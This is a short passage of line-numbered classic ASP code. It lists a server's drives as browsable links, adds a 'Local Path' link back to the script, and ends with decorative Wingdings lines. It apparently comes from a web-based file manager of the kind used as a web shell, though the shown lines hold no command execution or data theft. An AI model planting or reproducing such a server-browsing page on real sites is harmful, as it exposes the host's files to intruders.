1037         if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]"
1038         if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]"
1039         Response.Write "</a></td></tr>"
1040     next
1041     Response.Write "<tr><td>"
1042     Response.write "<a href='"& Request.ServerVariables("SCRIPT_NAME") & "'><font face=webdings>H</font> Local Path"
1043     Response.Write "</a></td></tr>"
1044     Response.Write "</table><br>"
1045 end if
1046 %>
1047 <br><Center><Font Face='Wingdings' Size='7' Color = 'FFFFFF'><b> ? </b></Font></Center>
1048 <br><Center><Font Face='Wingdings' Size='7' Color = 'FFFFFF'><b> ? </b></Font></Center>
1049 <br><Center><Font Face='Wingdings' Size='7' Color = 'FFFFFF'><b> ? </b></Font></Center>
1050 <br><Center><Font Face='Wingdings' Size='7' Color = 'FFFFFF'><b> ? </b></Font></Center>